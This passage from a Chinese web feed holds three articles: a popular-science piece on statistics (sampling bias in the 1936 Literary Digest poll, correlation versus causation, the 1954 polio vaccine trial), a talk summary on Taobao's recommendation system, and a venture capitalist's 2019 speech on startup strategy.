        我们再举一个例子。这是最近美国麻省理工刚刚完成的一个实验,大致在2018年左右完成的,实验结果也公布出来了。目的是想了解大家目前的婚姻观念,100人受到邀请来到一个封闭的场所参与这个实验。参加实验时,每人都会被贴上一个编号。男的编号是单数一三五七九,女的编号是双数二四六八十,以此类推。参与实验的这100人不知道自己的编号,也不知道究竟有多少人参加了这次实验。换句话说,他们不知道参加这次实验的正好是50个男人和50个女人,受访者仅仅知道,这次实验有很多人参加。

        在这里统计人员采取了一点小花招,就是当受访者进门的时候,把编号贴在受访者后背上,受访者知道自己有编号,但是不知道自己的编号是多少,不过他能够看到别人后背上的编号。实验规则说,允许100人中的任何两个人进行交谈,除了不能告诉对方他的后背编号是多少,其他话题都可以谈。

        然后实验者把这100人带到一个很小的一个房间里,宣布给大家5分钟时间,在这5分钟内,大家自行配对,每人只能配一名异性。5分钟结束之后,如果配对成功了,两个人背后的数字加起来乘以十,就是两人能够拿到的奖金。也就是说,如果编号是100的那个女性找到了那个编号为99的男性,那么两人就可以拿到(100+99)×10的奖金,也就是1990美元,这笔钱已经很可观了。但是如果你是一个编号为2的女性,而你找到的是那个编号为1的男性,那么你俩只能得到(1+2)×10也就是30美元,你俩用这奖金一起吃顿饭都不一定够。但是5分钟之后,如果还没有配对成功的话,你就连一美分都拿不到。因此,参加者必须在5分钟之内,在一个很小的拥挤空间内,尽快找到愿意跟自己配对的那个人。而且在这个过程中,要尽可能让自己的奖金数额变得很大。

        实验人员之所以把100人故意安排在非常拥挤的小房间内,就是考虑到,一方面要让大家能够很快速地看到一些人的编号,另一方面又能保证一个人不可能看到所有人的编号。在人挤人的情况下,有些编号是肯定看不到的。

        3 实验开始了

        一些人很快就发现,自己连续跟别人配对三四次,大家都拒绝他。这很可能说明,自己后背的编号数字不够大,别人不感兴趣。于是这其中就有人采取了应对策略,他跟别人讲,如果你愿意跟我配对的话,那我愿意把奖金全部给你,反正我数字也不大,所以我的钱不要了。还有人说,只要你这次跟我配对成功了,我们出去以后,我再单独请你吃顿饭。

        另外还有一些人,虽然他不知道自己后背的编号,但是他发现有很多人过来找他,所以他很快就意识到,自己后背的编号很可能很大,但具体多大,他并不知道。而且要尽可能让两个人组合出来的数字变得很大。于是他很快就把眼前这批他能看到数字的人拒绝掉了,因为他理所当然地认为接下来肯定还有更大的编号,但是他并不知道最大的编号是多少,同时他还必须要在5分钟内快速决定跟谁配对。

        这个实验的结果是,编号99的男性并没有与编号100的女性配对成功。那位编号100的女性,找到的是编号八十几的一位男性。那些数字在中间的人,大体都配对了跟自己差不多的另一个人。这个结果,很符合中国的一种传统思想,也就是门当户对。

        我们现在来看这个实验的结果,它基本上跟中国男女婚姻观念的现实比较类似。比如说,实验者因为自己编号小,就让渡自己的奖金给对方甚至于承诺事后请对方吃饭,以求得成功配对,这个跟现实中“我的个人条件差一些,但是我父母同意我们两个结婚之后送给我们一套房子”的承诺是类似的。而且我们在生活中也发现,一些最优秀的男性女性,他们身边不乏追求者,但是他们并没有找到自己的“最佳匹配对象”。

        这个数据的收集过程也是非常漂亮的。
        数据并不是越多越好

        统计本身是一门收集数据的科学,但是数据是不是越多越好呢?很难说。

        历史上有一个非常有名的例子。大约500年之前,丹麦有一个天文学家叫第谷,他从当时的丹麦国王那里要了一笔钱,建了一个实验室。第谷天天去观察每颗行星的运动轨迹,并且每天记录下来。于是第谷观察了20年,记录了大量的数据。不过,这个数据太多了,第谷花了大量时间、精力来分析这个数据,但没有发现任何规律。

        这时候,一个叫开普勒的人出现了。开普勒认为,第谷每天去观测,一年365天每一颗行星都会有365个数据,这样20年观测记录积累下来,要分析处理的数据就太多了,而且那个时候的数据分析只能依靠手工计算,这个处理工作量实在太大了。于是开普勒就说,能不能每年只给我一个数据,比如说你可以只告诉我每年的1月1日,地球在什么位置,土星在什么位置,太阳在什么位置,等等。这样20年的观测数据筛选之后,每一颗行星的数据就只有20个了。开普勒知道,地球每隔365天会回到同一个位置,然后他把地球的位置固定,再分析其他行星跟地球的相对位置。开普勒通过固定地球的位置,对其他行星位置20年的数据进行分析,就成功得到了其他行星的运行轨迹。此后开普勒就发现,如果地球位置不变的话,那么其他行星的20年运行轨迹画出来之后,这些行星都是围着太阳运转,运行轨迹都是椭圆形的。由此开普勒发现了行星运动的规律。

        从这个天文学上的著名案例,我们可以看出来,数据太多可能会导致信息量变得巨大,反而增加寻找到规律的难度。从而需要通过科学的方法简化数据。

        关于这方面的案例还有不少。比如说美国总统富兰克林·罗斯福。他是美国历史上唯一一位连任四届的总统。1932年的时候他第一次当总统,当时美国和许多国家正在遭受经济危机,罗斯福面临的压力也很大。因此到了1936年罗斯福想竞选自己的第二任总统的时候,美国许多人预测罗斯福很难连任。那一次,罗斯福的主要竞选对手是兰登。当时就有两个机构在预测总统选举结果,其中一个是《文学文摘》杂志,它在当时是一个非常有影响力的刊物,因为这个杂志此前几次对总统选举结果的预测都成功了。到了1936年美国总统选举的时候,文学文摘搞了一个大的调查统计,它调查了240万人。具体方式就是在杂志里面夹上关于总统选举的调查问卷,然后收集反馈。其实当时文学文摘调查的还不止240万人,还要更多,只不过最后收回来的有效问卷是240万份。正是根据这个调查结果,文学文摘宣布他们预测兰登将战胜罗斯福赢得大选。

        而当时还有一个机构,准确地说是一个年轻人,叫盖洛普,他的预测结果跟文学文摘的预测正好相反。起初盖洛普做这类调查统计,是因为他的母亲要竞选众议员,他是给他母亲帮忙,于是就在经费不多的情况下做了对较小人群的相关调查,然后这个调查结果很成功,他母亲当上了众议员。接下来他就想调查一下,罗斯福和兰登谁会赢得1936年竞选。但是他比不了文学文摘的财大气粗,所以他只调查了5000个人,根据这5000人的调查结果,盖洛普预测罗斯福当选。
        结果罗斯福果然成功连任总统,盖洛普的预测胜利了。

        这个选举结果出来之后,对《文学文摘》杂志的声誉造成了巨大的冲击:毕竟文学文摘调查了240万人,最后却发布了一个错误的预测,而盖洛普只调查了5000人,发布的预测却是正确的。结果,文学文摘因为这个事情后来就关门倒闭了。而那个年轻人盖洛普,就此成立了一个民意调查公司,也就是现在的盖洛普咨询公司。

        这是事情的结果。那么为什么调查了5000人的预测,要比调查240万人的结果更准确呢?我们先不说240万这种海量数据,它在规模变大以后会带来计算效率的下降,我们也不提这类海量收集数据会导致成本居高不下的问题。根本的原因,是当时文学文摘通过杂志夹带问卷进行调查的这种方式。因为当初问卷是夹在杂志中发放的,所以文学文摘收集来的240万份有效问卷,实际面对的都是订阅了这份期刊的用户。那么,当时什么样的家庭会订阅这样的杂志呢?一般来说都是家境比较好的家庭,所以,文学文摘虽然号称调查了240万人之多,但是它调查的主要群体,是当时美国国内相对而言有钱的那部分人。而穷人群体的意见,它这个调查实际并没有覆盖到。

        数据的量多不一定就代表准确,收集来的数据质量好、有代表性,才有可能分析出准确的结果。

        4 统计学是一门分析数据的艺术

        前面举了一些例子,提醒我们需要非常小心地设计方案收集数据。数据收集上来之后,我们还要做数据分析。按照前面大不列颠百科全书的说法,统计学同样是一门分析数据的艺术。

        讲到数据分析,在这里我只讲两个基本概念:相关与因果。为什么讲这两个概念呢?这是因为人们常常混淆这两个概念,常常会把相关关系误以为是因果关系。在许多科学研究和政策问题评价中,我们更关心因果关系。但是,当我们看到了某种形式的相关关系后,常常会误以为这就是我们追求的因果关系了。

        比如说,在中世纪的欧洲,很多人相信,虱子对人的健康是有帮助的。这是因为当时人们发现,得病的人身上很少有虱子,而健康人的身上反而是有虱子的。这是长期的观察累积下来,形成的经验。在中世纪的欧洲,很长一段时间里人们都根据这个经验,得出这样一个因果推论:这个人身上有虱子,所以他身体健康,那个人身上没虱子,说明他身体不健康。

        当时,人们确实观察到虱子的存在与否跟人是否健康构成了相关关系,但是,这是因果关系吗?有了温度计以后,人们就发现了,这不是真正意义上的因果关系:因为虱子对人的体温非常敏感,它只能在一个很小的温度区间范围生存下来。而人体一旦生病的话,很多时候会出现发烧症状。人体一发烧,温度变化,虱子就无法适应发烧时候的热度,于是跑掉了。如果我们只停留在观察到健康与否和虱子多寡之间存在关系,那实际只是相关关系,而不是因果关系。与之类似的例子还有很多,比如说,我们看到每年冰淇淋销量增加的同时,各地不幸溺亡的人数也在增加。那么这两件事情是不是构成因果关系呢?常识告诉我们,肯定不是。其实是因为每年气温升高之后,游泳的人可能就多了起来了,随之溺亡人数也就相应增加了。而同样是因为气温升高,冰淇淋的销量也会增加。

        也就是说,如果我们观察到一个因素出现了一点点变化,另外一个因素也会随着跟它变化,它们之间可能就有相关关系,但是这种相关关系,并不意味着这两个因素构成因果关系。

        如何判断因果关系呢,这就需要我们非常小心,而且要非常艺术地做数据分析了,我们最终还是要回到统计学上来。

        这里,我们举一个历史上的疾病案例,这就是小儿麻痹症,也就是脊髓灰质炎。现在大家看到的小儿麻痹症病例比较少,因为现在有相应的疫苗。历史上,脊髓灰质炎曾经是一个让人非常害怕的疾病。

        在20世纪50年代,当时美国一所大学的实验室,做出了一种针对这个疾病的疫苗,已经证明它在实验室条件下能够产生有效的抗体。但是他们不知道,如果应用到实际生活中的大规模实验,这个疫苗还会不会有效。所以当时美国政府部门就决定要做实验,这个时间大致在1954年。因为当时脊髓灰质炎的患者主要是孩子,所以当时的实验人群定为小学一二三年级的学生。怎么做实验才能够真正说明疫苗是否有效呢?为了确保统计结果最终反映真实的因果关系,当时提出了五套实验方案。

        第一套方案是,因为1953年之前是没有这个疫苗的,所以就从1954年开始,给所有的一二三年级小学生接种疫苗,最后再来看一下,1954年的发病率,跟1953年相比,会不会有差别。这个方案是个办法,但是它有问题,因为之前每一年的脊髓灰质炎发病率的差别比较大。比如说1951年全美可能有3万名脊髓灰质炎患者,1952年则有6万名,而1953年又可能缩减到不足4万名。这个脊髓灰质炎每年发病率的波动都比较大,万一到时候实验结果是3万名到4万名之间,如何判断这个结果是随机变化的,还是疫苗发生了作用?

        第二个方案则提出要按照地区来做。比如,在纽约地区,就给一二三年级小学生们全部接种疫苗,而在芝加哥地区的就全部不接种疫苗,然后来统计,纽约和芝加哥这两个地区的脊髓灰质炎发病情况。这个方案后来发现也不行。因为脊髓灰质炎本身就是传染病,一个地区可能流行这个疾病了,而另外一个地区就可能没流行,那么这两个地区的数据看起来就会有差异,但是这不是疫苗的效果,不具有可比性。

        于是就有人提出了第三个方案。因为当时这个疫苗接种,谁也不知道有没有副作用,因此是有一定风险的。所以这个方案就提出,让接种疫苗的孩子们的父母来自行选择。有的家长选择给孩子接种疫苗,有的就不选择接种,这样同一批孩子就会出现不同的对照。但是这么做,也有问题。因为当时人们已经发现,脊髓灰质炎的患者一般来自于家境比较好的家庭。这是因为,那些家庭经济状况比较差的家庭,因为生活条件差,卫生条件不好,可能一个人很早就接触过脊髓灰质炎的病毒了,甚至很可能在刚刚出生的时候就接触了脊髓灰质炎的病毒,但是刚出生的婴儿是有母体的免疫力的,婴儿凭借母体的免疫力,接触这个病毒之后能够产生抗体,反而不会得病。当时的这类数据情况已经展现了这种现象。如果采用自愿接种的方式,那些经济状况比较好的家庭,往往愿意让自己的小孩去接种,而经济状况不好的家庭由于经费原因,同时也知道自己这个阶层染病率稍微低一些,他可能就不愿意接种了。这样就造成了对实验结果的干扰,你无法判断到底是疫苗有效还是经济原因导致的不同结果。

        然后是第四个方案。有人提出,只让二年级的学生接种,而一年级和三年级学生不接种。之后再比较接种的跟不接种的学生之间的区别,看他们的发病率会不会有差别。这个方案是当时的一个脊髓灰质炎防治委员会提出的方案。这个方案同样行不通,第一,它同样无法避开接种孩子家庭贫富差距导致的患病概率差异。第二,脊髓灰质炎是一种传染疾病,人群的年龄是对这种传染有影响的,一、二、三年级的学生年龄层次有差别,可能就会导致各个年级学生得病概率的差异。此外这个方案还有第三个重大缺陷,那就是可能会对医生形成心理上的诱导。如果按照这个方案执行下去,医生们就是知道的,一、三年学生没有接种疫苗,而二年级同学中有部分同学接种了疫苗。当时脊髓灰质炎的诊断还不太容易,如果医生已经知道了这个疫苗接种方案,而且也提前知道这个疫苗在实验室阶段是管用的,那么医生在面对一年级学生时,一旦这个疾病还无法确诊,那么这个医生就很可能根据“一年级学生没有接种疫苗”“疫苗是有效的”这两个提前的认知,就直接诊断这名一年级学生得了脊髓灰质炎。而且这种区别对待的方案,接种的学生本身心理也会受到影响的。

        当时还有第五个方案,也就是最终执行并被采纳了调查结果的方案。这个方案具体来说,就是在征得学生家长同意之后,仍旧会告诉家长:你即使同意接种疫苗,我给你家孩子接种的,也不一定是疫苗,而是一种看起来跟疫苗一模一样的安慰剂,没什么副作用也没有什么效果。因为这个安慰剂跟疫苗长得一样,所以医生和学生都不知道到底接种的是疫苗还是普通的安慰剂,但是疫苗提供方是知道的,它对每一个药品都加了编号,因此疫苗提供方知道哪些是安慰剂,哪些是疫苗。通过这样的方式,实验室实现了随机的方式接种疫苗,而且无论家境好坏,这个接种疫苗都是随机的。同时医生们也不知道,到底是哪一些小孩接种了疫苗。这就规避了年龄、经济条件等各种扰动,有助于确定脊髓灰质炎与疫苗之间真正的因果关系。
        1954年,这个实验大约有74万名小学生参与。最终的实验结果是,如果接种疫苗,孩子罹患脊髓灰质炎的概率大约是十万分之28,如果不接种疫苗,患病概率大约是十万分之77,二者相差一倍多。之后又经过各种努力,脊髓灰质炎疫苗在美国获得了通过。

        许多科学结论、政策评价都依赖于因果分析而不是相关分析。统计学能够帮助我们证明那些我们所需要的因果关系。很多时候,真正的因果关系,不能简单地建立在相关关系的基础之上。还有很多科学问题,仍需要我们去发现真正的因果关系,这正是统计学可以提供数据收集以及分析方案的地方,也是统计学的魅力所在。

        来源:光明网-《光明日报》《光明日报》( 2019年03月30日 10版)

        作者:朱利平 教授,作者系中国人民大学统计与大数据研究院副院长、博士生导师,中国人民大学“杰出学者”特聘教授

        ]]>
        解密淘宝推荐实战,打造 “比你还懂你” 的个性化APP Fri, 02 May 2025 09:39:04 +0800 以下内容根据演讲视频以及PPT整理而成。

        手淘推荐简介

        手淘推荐的快速发展源于2014年阿里“All in 无线”战略的提出。在无线时代,手机屏幕变小,用户无法同时浏览多个视窗,交互变得困难,在这样的情况下,手淘借助个性化推荐来提升用户在无线端的浏览效率。经过近几年的发展,推荐已经成为手淘上面最大的流量入口,每天服务数亿用户,成交量仅次于搜索,成为了手淘成交量第二大入口。
        image.png

        今天的推荐不仅仅包含商品,还包含了直播、店铺、品牌、UGC,PGC等,手淘整体的推荐物种十分丰富,目前手淘的整体推荐场景有上百个。推荐与搜索不同,搜索中用户可以主动表达需求,推荐很少和用户主动互动,或者和用户互动的是后台的算法模型,所以推荐从诞生开始就是大数据+AI的产品。

        手淘推荐特点

        相比于其他推荐产品,手淘推荐也有自身的如下特点:
        1.购物决策周期:手淘推荐的主要价值是挖掘用户潜在需求和帮助用户购买决策,用户的购物决策周期比较长,需要经历需求发现,信息获取,商品对比和下单决策的过程,电商推荐系统需要根据用户购物状态来做出推荐决策。
        2.时效性:我们一生会在淘宝购买很多东西,但是这些需求通常是低频和只在很短的时间窗口有效,比如手机1~2才买一次但决策周期只有几小时到几天,因此需要非常强的时效性,需要快速地感知和捕获用户的实时兴趣和探索未知需求,因此,推荐诞生之初就与Flink、Blink实时计算关系非常紧密。
        3.人群结构复杂:手淘中会存在未登录用户、新用户、低活用户以及流式用户等,因此需要制定差异化的推荐策略,并且针对性地优推荐模型。
        4.多场景:手淘推荐覆盖了几百个场景,每个场景都独立进行优化显然是不可能的,而且每个场景的条件不同,因此超参也必然不同,无法依靠人工逐个优化场景模型的参数,因此需要在模型之间进行迁移学习以及自动的超参学习等,通过头部场景的迁移学习来服务好尾部场景。
        5.多目标和多物种
        image.png

        推荐技术框架

        如下图所示的是手淘推荐的技术框架。2019年双11,整个阿里巴巴的业务全部实现上云,因此手淘推荐的技术架构也是生长在云上的。推荐的A-B-C包括了推荐算法和模型、原始日志和基于日志加工出来的特征和离在线计算及服务能力,比如向量检索、机器学习平台、在线排序服务等。除了云,今年我们通过把深度学习模型部署到了端上,实现了云和端的协同计算。
        image.png

        接下来将主要围绕数据、基础设施以及算法模型进行介绍。

        数据-基础数据

        手淘的推荐数据主要包括几种,即描述型数据比如用户画像,关系数据比如二部图或稀疏矩阵,行为序列和图数据等。基于用户行为序列推荐模型在手淘商品推荐应用最为广泛,图模型则是近两年发展较快的模型,因为序列通常只适合于同构的数据,而在手淘里面,用户的行为有很多种,比如看视频、搜索关键词等,通过graph embedding 等技术可以将异构图数据对齐或做特征融合。
        image.png

        数据-样本

        数据样本主要包含两部分元素,label和特征。label一般在手淘推荐中有几类,比如曝光、点击、成交以及加购等。特征则比较多了,比如用户自己的特征、用户上下文特征、商品本身特征以及两两组合特征等。根据用户的特征和行为日志做Join就形成样本表,这些表格存储的时候就是按照稀疏矩阵方式进行存储,一般而言是按天或者按照时间片段形成表格,样本生成需要占用很大一部分离线计算资源。
        image.png

        离线计算-计算模式

        离线计算主要有三种模式,即批处理、流处理和交互式查询。批处理中比较典型的就是MapReduce,其特点是延迟高但并行能力强,适合数据离线处理,比如小时/天级别特征计算,样本处理和离线报表等。流计算的特点是数据延迟低,因此非常适合进行事件处理,比如用户实时点击,实时偏好预测,在线学习的实时样本处理和实时报表等。交互式查询则主要用于进行数据可视化和报表分析。
        image.png

        离线计算-模型训练
        模型训练也有三种主要的模式,即全量学习、增量学习和在线学习。全量学习这里是指模型初始化从0开始学习,如果日志规模比较小,模型简单并不需要频繁更新时,可以基于全量日志定期训练和更新模型,但当日志和模型参数规模较大时,全量学习要消耗大量计算资源和数天时间,性价比很低,这时通常会在历史模型参数基础上做增量学习,用小时/天日志增量训练模型和部署到线上,降低资源消耗和较高的模型更新频率。如果模型时效性非常强需要用秒/分钟级别样本实时更新模型,这是就需要用到在线学习,在学习和增量学习主要差别是依赖的数据流不一样,在线学习通常需要通过流式计算框架实时产出样本。
        image.png

        离线计算-训练效率

        因为机器资源总是不够的,训练优化是如何用更快的速度,更少的计算和更少的数据训练出更好的模型,这里为大家提供一些加速训练的方式:

        1.热启动:模型需要不断升级和优化,比如新加特征或修改网络结构,由于被修复部分模型参数是初始值,模型需要重新训练,热启动就是在模型参数只有部分修改时如何用少量的样本让模型收敛。
        2.迁移学习:前面提到手淘推荐的场景非常多,而某些场景的日志非常少,因此无法实现大规模模型的训练,这是可以基于样本较多的大场景做迁移学习。
        3.蒸馏学习:手淘用来做级联模型学习,比如精排模型特征更多模型更加精准,通过精排和粗排特征蒸馏,提升粗排模型精度,除此之外也可以用来做模型性能优化;
        4.低精度、量化和剪枝:随着模型越来越复杂,在线存储和预测成本也在成倍增加,通过这些方式降低模型存储空间和预测速度,另外是端上模型通常对大小有强要求;
        image.png

        离线计算-端到端闭环

        因为手淘推荐日志很大,特征来源很复杂,离线和在线的细微变动都可能导致样本出错或离线在线特征/模型不一致,影响迭代效率甚至造成生产故障,我们的解决办法是做一个端到端的开发框架,开发框架对日志,特征和样本做抽象,减低人工开发成本和出错的可能,并在框架嵌套debug 和数据可视化工具,提高问题排查效率。目前手淘搜索推荐已经基本上做到了从最原始日志的收集、到特征抽取以及训练模型的验证、模型的发布,再到线上部署以及实时日志的收集形成整体的闭环,提升了整体模型的迭代效率。
        image.png

        云和端

        随着5G和IOT的发展数据会出现爆炸式的膨胀,将数据放在云上集中存储和计算,这样做是否是一个最合理的方式呢?一些数据和计算能否放在端上来做?端上相对于云上而言,还有几个较大的优势,首先延时低,其次是隐式性,各个国家对于隐私的保护要求越来越严厉,因此需要考虑当数据不能发送到云端的时候如何做个性化推荐。
        image.png

        云和端协同计算

        在云和端协同计算方面,阿里巴巴已经做了大量的尝试,比如云和端如何实现协同推理,这里包括几个部分,比如手机端上拥有更加丰富的用户行为如用户滑屏速度、曝光窗口时长以及交互时长等,因此第一步是端上的用户行为模式感知的模型。第二步就是在端上决策,比如预测用户何时会离开APP,并在用户离开之前改变一些策略提高用户的浏览深度。此外,手淘还在端上做了一个小型推荐系统,因为目前云上推荐都是一次性给多个结果比如20多个,而手机一次仅能够浏览4到6个推荐结果,当浏览完这20个结果之前,无论用户在手机端做出什么样的操作,都不会向云端发起一次新的请求,因此推荐结果是不变化的,这样就使得个性化推荐的时效性比较差。现在的做法就是一次性将100个结果放在手机端上去,手机端不断地进行推理并且更新推荐结果,这样使得推荐能够具有非常强的时效性,如果这些任务全部放在云端来做,那么就需要增加成千上万台机器。
        image.png

        除了推理之外,还有云和端的协同训练。如果想要实现个人的隐私保护,云和端协同训练是非常重要的,只有这样才能够不将用户的所有原始数据全部加载到云上,大部分训练都在手机端完成,在云端只是处理一些不可解释的用户向量,从而更好地保护用户的隐私数据。
        image.png

        召回技术-动态实时多兴趣表达(MIND)

        早些年大家在做推荐协同过滤可能使用Item2Vec召回、标签召回等,比如像Item2Vec召回而言,确实比较简单,而且时效性非常好,在很长一段时间内主导了推荐技术发展的进程,后续才诞生了矩阵分解等。但是Item2Vec召回存在很大的问题,如果商品的曝光点不多其实是很难被推荐出来的,因此推荐的基本上都是热门的Item。其次Item2Vec召回认为每个点击都是独立的,缺少对于用户的全局认知,此时需要做的是就是将用户的行为和标签进行全局感知并做召回。基于这样的出发点,我们提出了基于行为序列的召回模型,但这种方式存在的问题就是用户的兴趣不会聚焦在同一个点,单个向量召回通常只能召回一个类目或者兴趣点,因此如何通过深度学习做用户的多需求表达等都是挑战。这样的问题,阿里巴巴已经解决了,并且将论文发表在CIKM 2019上面。现在,淘宝所使用的是在线多向量化并行召回。
        image.png

        CTR模型

        手淘推荐的CTR模型也经历了几个重要的变革,第一个模型是FTRL+LR,其优点是模型简单,能够支持千亿级别特征。第二个模型是XNN,对LR离散特征做embedding,并引入多层神经网络,由于引入新的参数,模型学习能力更强。第三个模型是Self-attention CTR,也就是基于图和用户行为序列实现的。
        image.png

        推荐序列优化-生成式推荐

        推荐一般都是基于打分的,打完分之后在做一个贪心排序和打散,这样的做法得到的结果其实并不是最优的,因为这样做并没有考虑结果与结果之间的依赖性,使用贪心算法得到的结果并不是最优的。推荐本质上应该是对于集合而不是序列的优化,因此手淘推荐是用的是生成式排序模型。更多可以参考我们在KDD 2019发表的论文。
        image.png
        多目标均衡优化

        在推荐时,大家往往会遇到多目标均衡问题,比如商品推荐的浏览深度,点击和成交,由于目标量纲不一致,不存在全局唯一最优解,需要同时优化多个目标或在多个目标之间做合理取舍,对此我们提出了基于帕累托的多目标优化排序模型。更多可参考我们发表在RecSys 2019的文章。
        image.png



        ]]>
        梅花创投吴世春:未来十年,依然是中国创业者的黄金时期 Fri, 02 May 2025 09:39:04 +0800

        image.png

        12月11日,2019年度CEO峰会暨猎云网创投颁奖盛典在北京望京凯悦酒店隆重举行,近百位知名资本大咖,独角兽创始人、创业风云人物及近千位投资人与创业者共聚“新势力·2019年度CEO峰会暨猎云网创投颁奖盛典”。

        峰会上,梅花创投创始合伙人吴世春以《寒冬是机遇的起点》为主题分享了自己的观点。

        吴世春认为,每十年是中国经济周期的一个循环,对比发达经济体,未来最好的投资机会就在中国。未来十年,依然是中国创业者的黄金时期。

        总结过去的两个大周期,1999-2008年,互联网把中国所有产业重做了一遍,诞生了BAT;2009-2018年,所有产业被移动互联网重做一遍;现在,在市场陷入谷底时,吴世春认为,这恰恰是机遇诞生的机会点,人工智能、5G、智能制造,可以把很多行业再重做一遍。

        因此在他看来,每一个周期都给了有梦想、有野心的年轻人来改变运气的机会。“在中国,阶层固化与阶级板结是一个伪命题,中国可以不断出现年轻人向上的通道。”

        梅花创投成立于2014年5月,专注在新经济领域的投资,目前管理约30亿人民币基金,投资项目超300个。在创立梅花创投之前,吴世春作为天使投资人,曾投资大掌门,创造了1500倍回报的奇迹,投资趣店也获得了超过1000倍回报。作为资深连续创业者,吴世春被称为“最懂创业者”的天使投资人。

        阅人无数,吴世春总结道,优秀的创业者要有比较强的战略能力,不要用战术上的勤奋掩盖战略上的懒惰。具体来看,创业者应当拥有四种战略能力。

        第一,战略思维能力。要使用第一性原理去看待事物的本质,使用终局性思维去看待事物的发展。同时,要站在未来看现在,战略不解决当前问题,但能解决未来的问题。“如果一个企业家没有长期的战略,很难走得远,很难支持一家企业做到5-10年。为什么阿里巴巴自己要成为102年的公司,因为生存永远是企业第一要务,不管企业大还是小,最大的命题是生存。”

        第二,战略机会把握能力。吴世春认为,战略机会有几种,一种是趋势性的机会,比如消费升级、5G带来的趋势性机会;第二种机会是搭便车能力;第三种机会是价值洼地,创始人应该抓住价值洼地,并投入100%的精力。

        第三,战略布局能力。吴世春建议,创始人要动态地看待各种积极因素的内在关联,在人脉和链接上多下功夫。“链接本身就是价值,在对的人身上吃亏,本身就是价值。”

        第四,战略耐心能力。“战略大部分都是做取舍,最高的境界是舍九取一。”吴世春认为,创始人应分清楚长期收益和短期收益,在下风期时不要盲动,不要浪费弹药,一旦遇到人生的重大机会,要等待又长又湿的雪坡滚下去,获得最大收益。

        此次盛典上,猎云网将通过六个版块分享创业者和投资人在智能制造、文娱、零售、医疗、教育、汽车等领域的启发性的观点和行业前瞻,围绕多个维度,分享科技和产业前沿观点,探讨创新潮流趋势、把握未来新方向。

        以下为吴世春分享实录,猎云网整理删改:

        吴世春:很高兴来到猎云网新势力的盛典,跟大家做一个分享。

        梅花创投成立于2014年5月,宗旨是帮助聪明的年轻人成为伟大的企业家。5年来,梅花创投投资项目超300个,很多的项目已经走到独角兽的级别,明年有8-10家可以上市。

        很多人说现在是寒冬,我认为未来最好的机会还是在中国。因为按照过去40年来看,每个十年就是一个周期,每一个周期都会有寒冬,都会有爆发期。在每一个周期,都会诞生很多优秀的企业,像BAT诞生在1998-2001年,后来TMD是诞生在2008-2011年之间。每一个周期,我觉得都是厚积薄发的机遇。对比现在的美日欧,中国还是有很大的发展空间,所以最好的投资机会还是在中国。

        从上一个十年来看,从互联网切入到移动互联网,这里面有很多移动互联网的原生性创业者能够做的很好,像头条、美团。但是新的周期,我们又看到可以从原来的ToC市场枯竭,我们逐渐转向2B产业互联网,甚至像5G、人工智能基础性设施完善的话,会带来大规模应用性的创新。

        我上一个周期抓住了机会,从一名创业者转变为一个投资人,这个周期我们希望准备好弹药,投入更多在5G、智能制造、人工智能方面。

        总结过去两个大周期的每十年一个周期的变化,1999-2008年,互联网把中国所有产业重做了一遍,诞生了BAT这样的公司;2009-2018年,又把所有产业重做一遍;现在又是谷底的时候,恰恰是很多机遇孕育诞生的机会点,像人工智能、5G、智能制造,我觉得又会把很多行业重做一遍。每一个周期都给了有梦想、有野心的年轻人来改变运气的机会。一个公平的社会应该不断地被年轻人创造与再分配,在中国,阶层固化与阶级板结是一个伪命题,中国还是可以不断出现给年轻人向上的通道。

        中国的模式,其实除了中国是一个比较垂直化的经济体系,有很多下沉的机会,中国的模式也可以向海外复制。我们其实在海外也投了很多,比如说中国在印度的趣店,还有抖音的模式,我们都投了。

        中国可能不是一个原创性创新最多的地方,但是中国是一个全世界最好的应用性创新最好的地方,所以像类似于5G、人工智能、智能制造应用性创新,最大规模的应用性创新会在中国诞生。像大数据、SaaS,企业云化与SaaS化,我认为也是未来非常大的趋势。这个趋势,中国也是可以带来很多的投资机会。

        对于这个好的创业时代,我们需要投到优秀的创业者。我们希望优秀的创业者,能够有比较强的战略能力,不要用战术上的勤奋掩盖战略上的懒惰。对我们来讲,企业如果竞争获胜,最重要的是在战略上获胜。

        我们把战略能力分成四种能力:

        第一,战略思维能力。创业就是一场未知世界里面的冒险,很多新问题都没有答案。所以,我们希望创业者可以用第一性原理看待事物本质,用终局性思维来看待事物的发展。

        今年看到很多的赛道,比如说项目做到可能三四年,甚至融到B轮、C轮之后,还倒下了。因为很多企业一开始模式就不成立,比如说负毛利的公司,需要靠大量的烧钱,来拉新的公司,一旦来资本的资金有缺口,他们很快难以为继。所以需要站在未来看现在,战略不解决当前的问题,解决的是未来的问题。

        如果一个企业家没有长期的战略,是很难走得远,只看到未来三个月、半年的时间,是很难支持一家企业做到5-10年。为什么阿里巴巴自己要成为102年的公司,因为生存永远是企业第一要务,不管企业大还是小,最大的命题是生存。

        第二,战略机会把握能力。战略机会有几种,一种是趋势性的机会,比如说像消费升级,类似于像5G带来趋势性的机会。第二种机会是搭便车能力,比如说趣店跟蚂蚁金服的合作,滴滴抓住微信支付推广的便车。还有一种机会是价值洼地,每一种媒体早期都是一种流量红利到价值洼地。所以,对于很多的创始人来讲,应该把握类似这样的价值洼地。对于一个创业者来讲,一生会有4-5次战略性机会,碰到大的机会,100%的精力来投入,以最高的方式把控住。

        第三,战略布局能力。创业者动态看待各种积极因素的内在关联,在人脉和连接上多下功夫。你按天衡量自己的收益,你相信的是上天的命运安排,你按照按年衡量收益的话,你相信的是你的天赋与才华,你按照10年来衡量自己的才华,相信的是人脉。链接本身就是价值,很多创始人应该在对的人吃亏,这本身就是价值。战略布局的成本最低,收获最大。很多创始人要理解这一点,要很早开始进行战略性的布局。

        第四,战略耐心。因为战略大部分都是做取舍,我觉得最高的境界就是抉择与取舍。对于创始人来讲有短期影响,也有媒体的干预,可能今天来一个区块链,明天来发币,这会给很多人带来诱惑,但是知道自己价值在什么地方,知道自己能够做到什么,边界在哪儿,很重要。所以,要能够分清楚长期收益、短期收益,下行期的时候不要盲目,不要浪费弹药。一旦遇到人生重大的机会,要等待又长又湿的雪坡滚下去,你才有大的收益,就像巴菲特说的这句话。

        创业难是一个常规的现实,我觉得接受这个现实并且接着干的很少,我们不能总是强调宏观上的困难。对每个人来讲,困难都是一样的,困难是每个创业者的磨刀石。所以,认识困难,接受困难,并且感恩困难。只有这样的创业者,才可以从不断的困难当中得到学习,我们强调事上练,难上得,你愿意接受多大的困难,愿意接受多大的挑战,这是很多成功之前的前提。

